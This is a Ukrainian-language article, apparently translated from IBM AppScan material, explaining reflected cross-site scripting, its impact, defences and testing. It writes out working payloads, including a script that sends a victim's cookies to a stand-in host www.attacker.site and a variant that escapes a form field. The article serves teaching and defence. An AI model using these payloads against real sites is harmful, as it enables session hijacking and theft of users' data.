IBM Rational AppScan: Суть міжсайтових атак з впровадженням сценарію (cross-site scripting), Різне, Програмування, статті

Дізнайтеся, як хакери ініціюють міжсайтовий атаки з впровадженням сценарію (cross-site scripting, XSS), якої шкоди вони можуть завдати (і який не можуть), як їх виявити і як захистити ваш Web-сайт і його відвідувачів від цих зловмисних вторгнень в систему забезпечення безпеки і порушення конфіденційності.


Що відбувається при міжсайтовий атаці з впровадженням сценарію


Міжсайтовий атака з впровадженням сценарію (XSS) – одна з найпоширеніших атак на рівні програми, які хакери використовують для незаконного проникнення в Web-додатки. XSS – це атака, спрямована на конфіденційну інформацію клієнтів конкретного Web-сайту, яка може привести до тотального злому системи безпеки з викраденням або фальсифікацією даних про користувача. Більшість атак на увазі участь двох сторін: атакуючий і Web-сайт, або атакуючий і його жертва (на стороні клієнта). Атаки XSS тут є винятком і мають на увазі наявність трьох сторін-: ​​атакуючий, клієнт і Web-сайт.


Метою XSS-атаки є викрадення cookies клієнта або іншої важливої ​​інформації, яка може ідентифікувати клієнта на Web-сайті. Маючи в своєму розпорядженні маркер легітимного клієнта, атакуючий може діяти від його імені при взаємодії з Web-сайтом, використовуючи його персональні дані. Наприклад, при проведенні аудиту в одній великій компанії з’ясувалося, що можна за допомогою XSS-атаки отримати номер кредитної картки та конфіденційну інформацію користувача. Це було зроблено за рахунок виконання шкідливого коду JavaScript в браузері жертви (клієнта) з отриманням прав доступу до Web-сайту. Для сценаріїв JavaScript встановлюються дуже обмежені повноваження, які зазвичай не дозволяють сценарієм доступ до будь-якої інформації, яка не належить до сайту. Важливо підкреслити, що, незважаючи на наявність на Web-сайті вразливостей, безпосередньо сайту шкоду ніколи не наноситься. Сценарію цілком достатньо зібрати cookies і відправити їх атакуючому. В результаті атакуючий одержує cookies і видає себе за користувача-жертву.


Роз’яснення методики XSS


Виберемо в якості мішені для нападу сайт: www.vulnerable.site. Основою традиційної XSS-атаки є уразливий сценарій, що виконується на уразливому сайті. Сценарій прочитує частина HTTP-запиту (зазвичай це параметри, але іноді заголовки HTTP або маршрут) і повністю або частково повертає ці дані на сторінку відповіді, не виконуючи первинного знезараження (тобто не перевіряючи, чи містять дані код JavaScript або теги HTML). Припустимо, сценарій носить ім’я welcome.cgi, а параметр – ім’я name. Сценарій може працювати таким чином:






  GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site


Відповідь буде наступним:






  <HTML>
<Title>Welcome!</Title>
Hi Joe Hacker <BR>
Welcome to our system

</HTML>


Як це використовувати? Атакуючий якимось чином заманює жертву клацнути на засланні, яку той надав користувачеві. Це спеціально створена зловмисна посилання, яка примушує Web-браузер жертви звернутися на сайт (www.vulnerable.site) і викликати уразливий сценарій. Дані, що передаються сценарієм, складаються з коду JavaScript, який здійснює доступ до cookies, збереженим клієнтським браузером для сайту www.vulnerable.site. Це дозволяється, оскільки клієнтський браузер “вважає”, що код JavaScript прийшов з сайту www.vulnerable.site, а модель безпеки JavaScript дозволяє сценаріями, що надійшли з певного сайту, звертатися до cookies, розташованим на цьому сайті.


Така посилання може виглядати наступним чином:






http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>


Коли жертва клацає по посиланню, генерується наступний запит на сайт www.vulnerable.site:






  GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site …


Уразливий сайт відповідає таким чином:






  <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system …
</HTML>


Клієнтський браузер жертви інтерпретує цю відповідь як сторінку HTML, що містить фрагмент коду JavaScript. Цей код при своєму виконанні дозволяє доступ до всіх cookies, розташованим на сайті www.vulnerable.site. Таким чином, в клієнтському браузері відкриється вікно, в якому будуть представлені всі клієнтські cookies, що належать сайту www.vulnerable.site.


Звичайно, реальна атака буде включати відправку цих cookies атакуючому. Для цього атакуючий може створити Web-сайт (www.attacker.site) і використовувати сценарій для прийому цих cookies. Замість виводу на екран вікна атакуючому слід написати код, який звертається до сайту www.attacker.site, викликаючи тим самим сценарій прийому cookie з викраденими cookies як параметр. Таким чином, атакуючий може отримати cookies з сервера www.attacker.site.


Зловмисна посилання може виглядати так:






http://www.vulnerable.site/welcome.cgi?name=<script>window.open
(“http://www.attacker.site/collect
.cgi?cookie=”%2Bdocument.cookie)</script>


А сторінка відповіді може мати наступний вигляд:






  <HTML> <Title>Welcome!</Title> Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=
“+document.cookie)</script>
<BR>
Welcome to our system … </HTML>


Відразу після завантаження цієї сторінки браузер виконає вбудований код JavaScript і відправить запит сценарієм. Cgi на сайті www.attacker.site із зазначенням значення cookie на сайті ww.vulnerable.site (цим значенням браузер вже має в своєму розпорядженні). Таким чином, cookies клієнта, розташовані на сайті www.vulnerable.site, стають відомими, що дозволяє атакуючому видати себе за свою жертву. Конфіденційність клієнта повністю порушується.


Примітка:
Видачі сценарієм JavaScript спливаючого вікна зазвичай досить, щоб продемонструвати вразливість сайту для XSS-атака. Якщо є можливість викликати JavaScript-функцію Alert, швидше за все виклик функції window.open також буде успішним. З цієї причини в більшості прикладів XSS-атак використовується функція Alert, яка дозволяє легко визначити, чи досягла атака мети.


Область застосування і здійсненність


Атака може мати місце тільки в браузері жертви. Цей же браузер здійснює доступ до сайту (www.vulnerable.site). Атакуючому потрібно змусити клієнта перейти по зловмисної посиланням. Це можна зробити наступними способами:




Зловмисний код JavaScript може отримати доступ до такої інформації, як:



Маркери ідентифікації, аутентифікації і авторизації зазвичай зберігаються у вигляді cookies. Якщо ці cookies є постійними, жертва вразлива для атаки, навіть якщо сайт www.vulnerable.site не відкрито в даний момент в браузері. Якщо ж cookies є тимчасовими, наприклад cookies, що зберігаються в оперативній пам’яті, то клієнт у цей момент повинен мати відкритий сеанс з сайтом www.vulnerable.site.


Іншою можливою реалізацією маркера ідентифікації є параметр URL. В цьому випадку можна здійснити доступ до інших вікон за допомогою сценарію JavaScript наступним чином (в припущенні, що сторінка з необхідним параметром URL носить ім’я foobar):






<script>var victim_window=open(“,”foobar”);alert(“Can access:
” +victim_window.location.search)</script>


Варіації на дану тему


Для запуску сценарію JavaScript можна використовувати не тільки <SCRIPT> to run the JavaScript.но і багато інших теги HTML. Фактично можна навіть розмістити зловмисний код JavaScript на іншому сервері і примусити клієнта завантажити сценарій і виконати його, що може виявитися корисним у разі великого обсягу виконуваного коду або у випадку, якщо код містить спеціальні символи.


Ось два приклади використання таких можливостей:




Іноді дані, вбудовані у сторінку відповіді, не перебувають у вільному контексті HTML. В цьому випадку необхідно спочатку “піти” до вільного контексту, а потім здійснити XSS-атаку. Наприклад, якщо дані вносяться як значення за замовчуванням в полі HTML-форми:







<input type=text name=user value=”…”>


то необхідно включити в початок даних символ, “> щоб забезпечити перехід до вільного контексту HTML. Дані будуть мати наступний вигляд:






“><script>window.open(“http://www.attacker.site/collect.cgi?cookie=
“+document.cookie)</script>


Одержаний код HTML буде таким:







<input type=text name=user value=””><script>window.open
(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>”>


Інші способи виконання традиційних XSS-атак


До сих пір ми розглядали XSS-атаки, які використовували параметр запиту GET повертає дані на сторінку відповіді за допомогою сценарію. Але можна також виконати атаку через запит POST або за допомогою компонента маршруту HTTP-запиту – і навіть з використанням деяких заголовків HTTP (таких як Referer).


Зокрема, компонент маршруту (path) корисно використовувати, якщо на сторінці помилки виводиться хибний шлях. В цьому випадку включення зловмисного сценарію в маршрут приведе до виконання цього сценарію. Багато Web-сервери уразливі перед лицем такого роду атак.


У чому кримінал?


Важливо розуміти, що незважаючи на те, що Web-сайт цієї атакою безпосередньо не зачіпається (він продовжує нормально працювати, зловмисний код на сайті не виконується, не виникає ситуацій з відмовою в обслуговуванні, немає безпосередніх маніпуляцій з даними і читання інформації з сайту), для відвідувачів сайту або клієнтів має місце порушення конфіденційності. Це можна порівняти з розгортанням на сайті програми зі слабкими маркерами безпеки, коли атакуючий може вгадати маркер безпеки клієнта і видати себе за нього.


Слабким місцем докладання є сценарій, який повертає свій параметр незалежно від його значення. Хороший сценарій повинен перевіряти, що параметр має належний формат, містить розумні символи і т. д. У розумних ситуаціях параметр не включає теги HTML і код JavaScript, тому вони з метою безпеки повинні бути видалені з параметра до того, як він буде вбудований у відповідь або оброблений додатком.


Як захиститися від XSS-атак


Убезпечити сайт від XSS-атак можна трьома способами:



  1. Самостійно реалізувавши фільтрацію вхідних даних (знезараження вступників даних). Приміром, в сценарії welcome.cgi з попереднього прикладу за допомогою декодування параметра nameповинен бути відфільтрований тег <script>. Цей метод проте має декілька серйозних недоліків:

    • Розробник програми повинен бути добре обізнаний в питаннях безпеки.
    • Програміст повинен враховувати всі можливі джерела вхідних даних (параметри запиту, параметри в тілі POST заголовки HTTP).
    • Неможливо захиститися від вразливостей, наявних в сценаріях або серверах від сторонніх постачальників. Наприклад, не можна захиститися від проблем, що виникають зі сторінками помилок Web-серверів (які відображають шлях до ресурсу).


  1. Скориставшись “фільтрацією виходу”, тобто фільтрувати дані користувача при відправленні їх назад в браузер, а не при отриманні їх сценарієм. Хорошим прикладом тут може бути сценарій, який поміщає вхідні дані в базу даних, а потім представляє її. У цьому випадку важливо не застосовувати фільтр до вихідної рядку введення, а лише до вихідних даних. Недоліки тут ті ж, що і при фільтрації входу.


  1. Встановити брандмауер додатків від стороннього постачальника, який виявляє XSS-атаки до того, як вони досягнуть Web-сервера і уразливих сценаріїв, і блокує їх. Брандмауери додатків здатні виявляти всі методи введення (включаючи шлях і заголовки HTTP), незалежно від того, чи є сценарій власним, сценарієм від стороннього постачальника або сценарієм, взагалі не вказує на ресурс (наприклад, сценарій, що викликає видачу сервером сторінки 404). Для кожного джерела введення брандмауер додатків аналізує дані на наявність різних зразків тегів HTML і зразків коду JavaScript. Якщо підозрілий фрагмент знайдений, запит відхиляється, і зловмисний код не потрапляє на сервер.

Способи перевірити, чи захищений ваш сайт від XSS-атак


Перевірка того, чи захищений сайт від XSS-атак, дозволяє зробити висновок про безпеку сайту. Подібно захисту сайту від XSS-атак, перевірка реальної безпеки сайту може бути виконана вручну (непростий шлях) або за допомогою автоматизованого інструменту оцінки вразливості Web-додатків, який позбавляє від утомливих процедур перевірки. Інструмент переглядає сайт і запускає всі відомі йому варіанти сценаріїв, які використовують параметри, заголовки і маршрути. При обох підходах будь надходять в додаток дані (параметри всіх сценаріїв, заголовки HTTP, маршрути) перевіряються з використанням як можна більшої кількості варіантів. Якщо сторінка відповіді містить код JavaScript в контексті, в якому браузер може виконати його, це свідчить про вразливість для XSS. Наприклад, при підстановці наступного тексту:






<script>alert(document.cookie)</script>


в кожен з параметрів кожного сценарію (за допомогою використання підтримує JavaScript браузера для виявлення найпростіших вразливостей XSS) браузер видасть спливаюче вікно Alert JavaScript, якщо текст інтерпретується як код JavaScript. Зрозуміло, можливі кілька варіантів; таким чином, перевірки тільки одного варіанту недостатньо. Крім того, як ви вже знаєте, можна впровадити JavaScript в різні поля запиту: параметри, заголовки HTTP і маршрут. Проте в ряді випадків (особливо для HTTP-заголовка Referer) виконати атаку з використанням браузера буває важко.


Висновок


Міжсайтовий атаки з впровадженням сценарію – найбільш поширений (а також найбільш небезпечний) вид атак на рівні програми, застосовуваний хакерами для проникнення в Web-додатки. Ця атака спрямована на конфіденційну інформацію клієнтів конкретного Web-сайту. Викрадення або незаконне зміна інформації про користувача може привести до появи проломів у системі безпеки. До нещастя, як пояснюється в цій статті, клієнт або організація часто навіть не підозрюють про те, що піддалися атаці.


Щоб захистити Web-сайт від подібний злобливих дій, організації важливо реалізувати стратегію безпеки при роботі як в автономному режимі, так і в Інтернеті. Це передбачає застосування інструментів автоматичного аналізу вразливостей, які перевіряють, чи немає типових слабостей Web-сайту і слабкостей, специфічних для конкретного додатка (наприклад, вразливість перед обличчям XSS-атак). Для повноцінної захисту в Інтернеті також важливо життєво важливо встановити брандмауер, здатний протистояти будь-яким маніпуляціям з кодом і контентом, розміщеним на Web-серверах.

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*